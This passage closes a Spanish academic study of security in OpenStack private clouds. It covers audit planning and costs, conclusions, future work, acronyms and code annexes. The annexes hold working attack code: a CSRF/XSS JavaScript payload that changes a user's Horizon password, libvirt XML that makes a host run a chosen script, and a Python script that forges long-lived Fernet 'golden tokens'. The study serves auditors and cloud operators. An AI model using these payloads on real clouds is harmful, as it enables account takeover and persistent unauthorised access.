= Modificar clave privada SSH de acceso a los servidores de la infraestructura.
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6.2. Planificacién y costes

En este apartado se propondra una posible planificacion para una oferta de proyecto de
auditorfa en un entorno OpenStack.

Debido a que se han distinguido 4 posibles escenarios de reconocimiento y ataque, lo
ideal serfa realizar un proyecto de pentest en 4 fases, una por cada escenario indicado. La
duracion de cada fase podra ser de dos semanas aproximadamente, en las que se tratard de
obtener el mayor nivel de compromiso desde la ubicacién que corresponda para dicha fase.
También desde cada escenario se tratard de desbloquear un acceso al escenario préximo,
aunque igualmente el cliente deberéd proporcionar los accesos y credenciales correspondientes
al escenario a analizar.

Durante la semana anterior al comienzo de las pruebas debera ser el cliente el que realice
los preparativos y gestiones iniciales: accesos al edificio, creaciéon de usuarios, configuracion
de VPN, creacion de instancias de pruebas, etcétera. Tras esto se irdn sucediendo las
pruebas sobre los diferentes escenarios, para lo que por lo menos 3 dias antes de comenzar
las pruebas del préoximo escenario el cliente debera llevar a cabo las gestiones necesarias
para que éstas puedan realizarse correctamente.

Para el primer escenario se deberdn proporcionar por lo menos dos instancias de prueba
y un usuario de acceso a las mismas. Para el segundo se necesitaré proporcionar conectividad
desde el equipo del auditor a las redes de la plataforma de nube. Para el tercero deberan
proporcionarse al menos dos usuarios en el overcloud, uno de ellos con rol administrador.
Para el cuarto debera proporcionarse conectividad a la red de gestion de la plataforma, y
un usuario de acceso al nodo de undercloud, a un nodo de control y a un nodo de cémputo
por lo menos.

Tras la realizacion de las pruebas se necesitard una semana adicional para documentar
las pruebas y los resultados obtenidos. Esta planificaciéon puede observarse en el diagrama
de Gantt mostrado a continuacién, indicando en azul las acciones necesarias por parte del
cliente, y en verde las que se llevaran a cabo por parte del auditor o de los auditores:

Semana Semana 2 Semana 3 Semana 4 Semana 5 Semana 6 Semana 7 Semana 8 Semana Semana 10 |
[Tarea Diainicio |Diafin |1|2|/3|4|5|6|7|8|9|10/1112(13|14/15(16|17|18|19|20|21 3]24|25(26/27]28[29]30|31[32[33[34(35[36([37]38]39]40[41[42[43]44]45]46|47]48[49]50|
Gestiones iniciales (ciente) 1 5
Pruebas desde instancia 6 15
iGestién de conectividad (cliente) 13 15
Pruebas con conectividad 16 25
Provision de usuario de nube (cliente) 23 25
Pruebas disponiendo de usuario 26 35
IProvisién de usuario de infra (cliente) 33 35
Pruebas desde infraestructura 36 45
[Documentacién 46 50

Figura 61: Planificacion de proyecto

En cuanto a costes, estimando un precio aproximado por jornada de 600€-800€,
realizando las pruebas por parte de un tnico auditor y teniendo en cuenta un ntmero de
jornadas de alrededor de 45 (360 horas), se calcula que el proyecto podria llevarse a cabo
por unos 27.000€-36.000€ aproximadamente. En caso de que se trate de una nube de gran



Seguridad en nubes privadas basadas en OpenStack 82

tamarnio y se considere que son necesarios dos auditores para las pruebas (y solo uno para la
fase de documentacion), el total de jornadas se elevaria a 85, suponiendo un coste total de
entre 51.000€ y 68.000€.

6.3. Conclusiones finales

Por lo general puede considerarse que la seguridad de una nube OpenStack con
una configuracion por defecto es bastante aceptable, siempre que se hayan seguido las
indicaciones recomendadas durante el despliegue (especialmente en cuanto al aislamiento de
las diferentes redes se refiere) y que se mantengan unas consideraciones basicas de seguridad,
como utilizar contrasenias complejas, no utilizar secretos compartidos, etcétera.

Si bien es cierto que el producto puede presentar ciertas vulnerabilidades (como la
analizada que permite realizar ataques XSS/CSRF), esto es algo relativamente habitual en
cualquier producto de software, y puede ser solventado definiendo y ejecutando una politica
de actualizaciones adecuada. El hecho de que OpenStack esté publicado bajo una licencia
de software libre implica que su cédigo se encuentra en constante revision por un elevado
numero de actores, lo que conlleva que este tipo de vulnerabilidades suelen corregirse
rapidamente.

Como se ha podido observar, bajo ciertas condiciones es posible realizar movimientos
laterales en la plataforma. Se ha podido comprobar que es posible evadir el entorno aislado
de una instancia y llegar al sistema de gestion de la nube. Sin embargo, no se ha podido
encontrar ninguna vulnerabilidad publica o fallo de configuraciéon que permita acceder a la
propia infraestructura de la nube, incluso disponiendo de un usuario administrador en el
sistema de gestion de la misma.

Por otro lado, si se logra acceso a la infraestructura, parece que se asume que estos nodos
se encuentran ubicados en un entorno de confianza, ya que en muchos casos es relativamente
simple realizar movimientos horizontales o verticales en los diferentes servidores. Es posible
obtener informaciéon sensible desde cualquier nodo de la nube y, aunque no haya sido
posible obtener un compromiso total del nodo de control desde un nodo de cémputo
(principalmente por no poder escapar de los contenedores que tienen conectividad externa),
es posible controlar cualquier nodo de computo, lo que en la practica permite controlar gran
parte de la nube.

Parece que no ha sido posible acceder al nodo de undercloud, ya que toda la informacion
que dicho nodo publica al exterior es relativa al overcloud, y no se han encontrado
vulnerabilidades en los servicios publicados. En cualquier caso, el servidor de undercloud
no dispone de una imagen de SO propia y debe ser instalado manualmente en un servidor
existente. Esto puede provocar que la organizaciéon propietaria de la nube utilice para este
nodo alguna de las imagenes propias empleadas en el despliegue de VMs, que generalmente
dispone de diferentes agentes de monitorizacion, backup... lo que puede ampliar la superficie
de ataque sobre dicho nodo.
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Finalmente comentar que lo indicado en este documento es una foto en el tiempo
de una versiéon concreta de un distribuidor especifico de OpenStack. Otras empresas
tienen su arquitectura y sistema de despliegue que presentara sus particularidades y
vulnerabilidades. Como se ha indicado también en repetidas ocasiones, una instalacion de
las mismas caracteristicas que la utilizada para las pruebas podra presentar mas o menos
vulnerabilidades segtin el nivel de actualizaciones aplicado y la configuracién empleada.

Se espera que este documento pueda servir como un punto de partida para que un
auditor pueda llevar a cabo un test de intrusiéon en un entorno basado en OpenStack,
o también para que un operador de nube pueda tener mayor consciencia de los posibles
ataques que pueda sufrir, teniendo en cuenta siempre que la informaciéon aqui presente
debera combinarse con una adecuada labor de documentacion acerca de la version de
OpenStack con la que se esté trabajando.

6.4. Trabajos futuros

Como punto de continuacion del trabajo actual se proponen una serie de actividades de
documentaciéon e investigacion.

El punto mas inmediato podria ser la creaciéon de una version resumida de este trabajo
en forma de cheat-sheet, de forma que un auditor pueda disponer de una referencia rapida de
acciones que poder llevar a cabo. Este resumen podria residir en un repositorio piblico que
permita también la actualizacion por parte de otros colaboradores, pudiendo asi mantener
el proyecto al dia.

Dado que este trabajo se ha llevado a cabo usando la version Queens de RDO, otra
posible actualizacion seria llevar a cabo un estudio similar con la siguiente version LTS
(Train). Podria compararse la seguridad de una y otra version, analizar si los ataques siguen
siendo aplicables o no, y tratar de identificar nuevas vulnerabilidades.

Aunque muchas de las actividades descritas en este documento aplican a una instalacion
OpenStack genérica, el trabajo se encuentra enfocado principalmente a la configuracion y
arquitectura de la distribucion RDO / Red Hat OpenStack. Como posible actividad seria
interesante también realizar una comparativa con otras distribuciones, como por ejemplo
Ubuntu OpenStack [42], comprobar qué ataques pueden ser también aplicables, y qué
particularidades y vulnerabilidades pueda tener su arquitectura.

Cada elemento de OpenStack puede tener integracion con muchos otros elementos
externos: por ejemplo el servicio de volimenes Cinder tiene integracién con multitud de
cabinas de almacenamiento mediante diferentes drivers. Como trabajo futuro revisar todas
las integraciones seria bastante complejo, pero si seria posible identificar aquellas mas
comunes y que puedan configurarse de forma sencilla para conocer también las implicaciones
de seguridad que conllevan.
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El daltimo trabajo futuro propuesto podria ser extender el entorno descrito a un escenario
de nube hibrida. Podria analizarse la seguridad de alguno de los productos de gestion
multi-nube més utilizados, como por ejemplo ManagelQ [43] / Red Hat CloudForms [44]
(también del ecosistema CentOS / Red Hat), y comprobar las posibilidades de movimientos
laterales entre las partes publica y privada de la nube.
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Anexos

A. Acréonimos

= API: Application Programming Interface

s APT: Advanced Persistent Threat

= ARP: Address Resolution Protocol

= AWS: Amazon Web Services

= BD: Base de Datos

» CA: Certificate Authority

s CPU: Central Processing Unit

» CSRF: Cross-Site Fequest Forgery

= CVE: Common Vulnerabilities and Exposures
= DHCP: Dynamic Host Configuration Protocol
= DMZ: Demilitarized Zone

= DNS: Domain Name System

s EC2: Elastic Compute Cloud

= FS: Filesystem

» FW: Firewall

s GUI: Graphical User Interface

= HMAC: Hash-based Message Authentication Code
= HSTS: HTTP Strict Transport Security

= HTTP: Hypertext Transfer Protocol

= HTTPS: Hypertext Transfer Protocol Secure
= [CMP: Internet Control Message Protocol

= [D: Identificador

= [P: Internet Protocol

= JSON: JavaScript Object Notation

= KVM: Kernel-based Virtual Machine
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= LTS: Long Term Support

= LVM: Logical Volume Manager

» MAC: Media Access Control

= MANO: Management And Network Orchestration
= MITM: Man-In-The-Middle

= ML2: Modular Layer 2

= MQ: Message Queue

= NAT: Network Address Translation

= NFS: Network File System

» NFV: Network Functions Virtualization

= OS: Operating System

= OWASP: Open Source Foundation for Application Security
= PID: Process Identifier

= PoC: Proof of Concept

= PXE: Preboot Execution Environment

= RAM: Random Access Memory

= RCE: Remote Code Execution

= RDO: Red Hat Distribution of OpenStack
» REST: Representational State Transfer

» RHEL: Red Hat Enterprise Linux

= RHSA: Red Hat Security Advisory

= SCSI: Small Computer System Interface

= SDN: Software-Defined Networking

= SO: Sistema Operativo

= SQL: Structured Query Language

= SSH: Secure Shell

» TLS: Transport Layer Security
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URL: Uniform Resource Locator

UUID: Universally Unique Identifier

VLAN: Virtual Local Area Network

VM: Virtual Machine

VNC: Virtual Network Computing

VPN: Virtual Private Network

VRRP: Virtual Router Redundancy Protocol
VXLAN: Virtual Extensible Local Area Network
XML: Extensible Markup Language

XSS: Cross-Site Scripting

ZAP: Zed Attack Proxy
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B. Secciones de codigo

B.1. userenum post.json

{
"auth": {
"identity": {
"methods": [
"application_credential"
1,
"application_credential": {
"user": {
"name": "<USUARIO>",
"domain": {
"name": "Default"
}
},
"name": "foo"

}

B.2. change pass.js

csrf=document.cookie.substr (document.cookie.search('csrftoken')+10,64);

var myform = document.createElement('form');
myform.method='post';
myform.action='http://<IP HORIZON>/dashboard/identity/users/<ID USUARIO>/change_password/'

var parameters = {
'csrfmiddlewaretoken' : csrf,
'fake_email' : '',
'fake_password' : '',
'id' : '<ID USUARIO>',
'password' : '<NUEVA PASSWORD>',
'confirm_password' : '<NUEVA PASSWORD>',
'name' : '<NOMBRE USUARIO>'

}

for (p in parameters) {
var new_param = document.createElement('input');
new_param.type='hidden';
new_param.name=p;
new_param.value=parameters [p] ;
myform.appendChild (new_param) ;

}

document . body . appendChild (myform) ;

myform.submit () ;




e
= O © 0 9 3 0k W N

== e
=W N

© 00 N O U E W N =

e e
N o= O

—
= O © 0 N O U W N

e e
T W N

95

Seguridad en nubes privadas basadas en OpenStack

B.3. vol.xml

<volume type='file'>
<name><NOMBRE DE SCRIPT></name>
<key><RUTA DE SCRIPT></key>
<capacity unit='bytes'>0</capacity>
<target>
<path><RUTA DE SCRIPT></path>
<format type='raw'/>
<permissions>
<mode>0755</mode>
<owner>0</owner>
<group>0</group>
</permissions>
</target>
</volume>

B.4. dom.xml

<domain type='kvm'>

<name>foo</name>
<o0s>

<type arch='x86_64"'>hvm</type>
</os>
<memory unit='KiB'>1</memory>
<devices>

<interface type='ethernet'>
<script path='<RUTA DE SCRIPT>'/>
</interface>
</devices>
</domain>

B.5. create golden token.py

#!/usr/bin/python3

import msgpack
from cryptography.fernet import Fernet

token = b'<TOKEN EXISTENTE>'
key = b'<CLAVE FERNET>'
f = Fernet(key)

token_dec = f.decrypt(token)

original = msgpack.unpackb(token_dec, raw=True)
new_date = 1893456000.0 # Jan 01 2030
original[4] = new_date

new_token = msgpack.packb(original, raw=True)
new_token_enc = f.encrypt(new_token)
print(str(new_token_enc,encoding='utf-8'))
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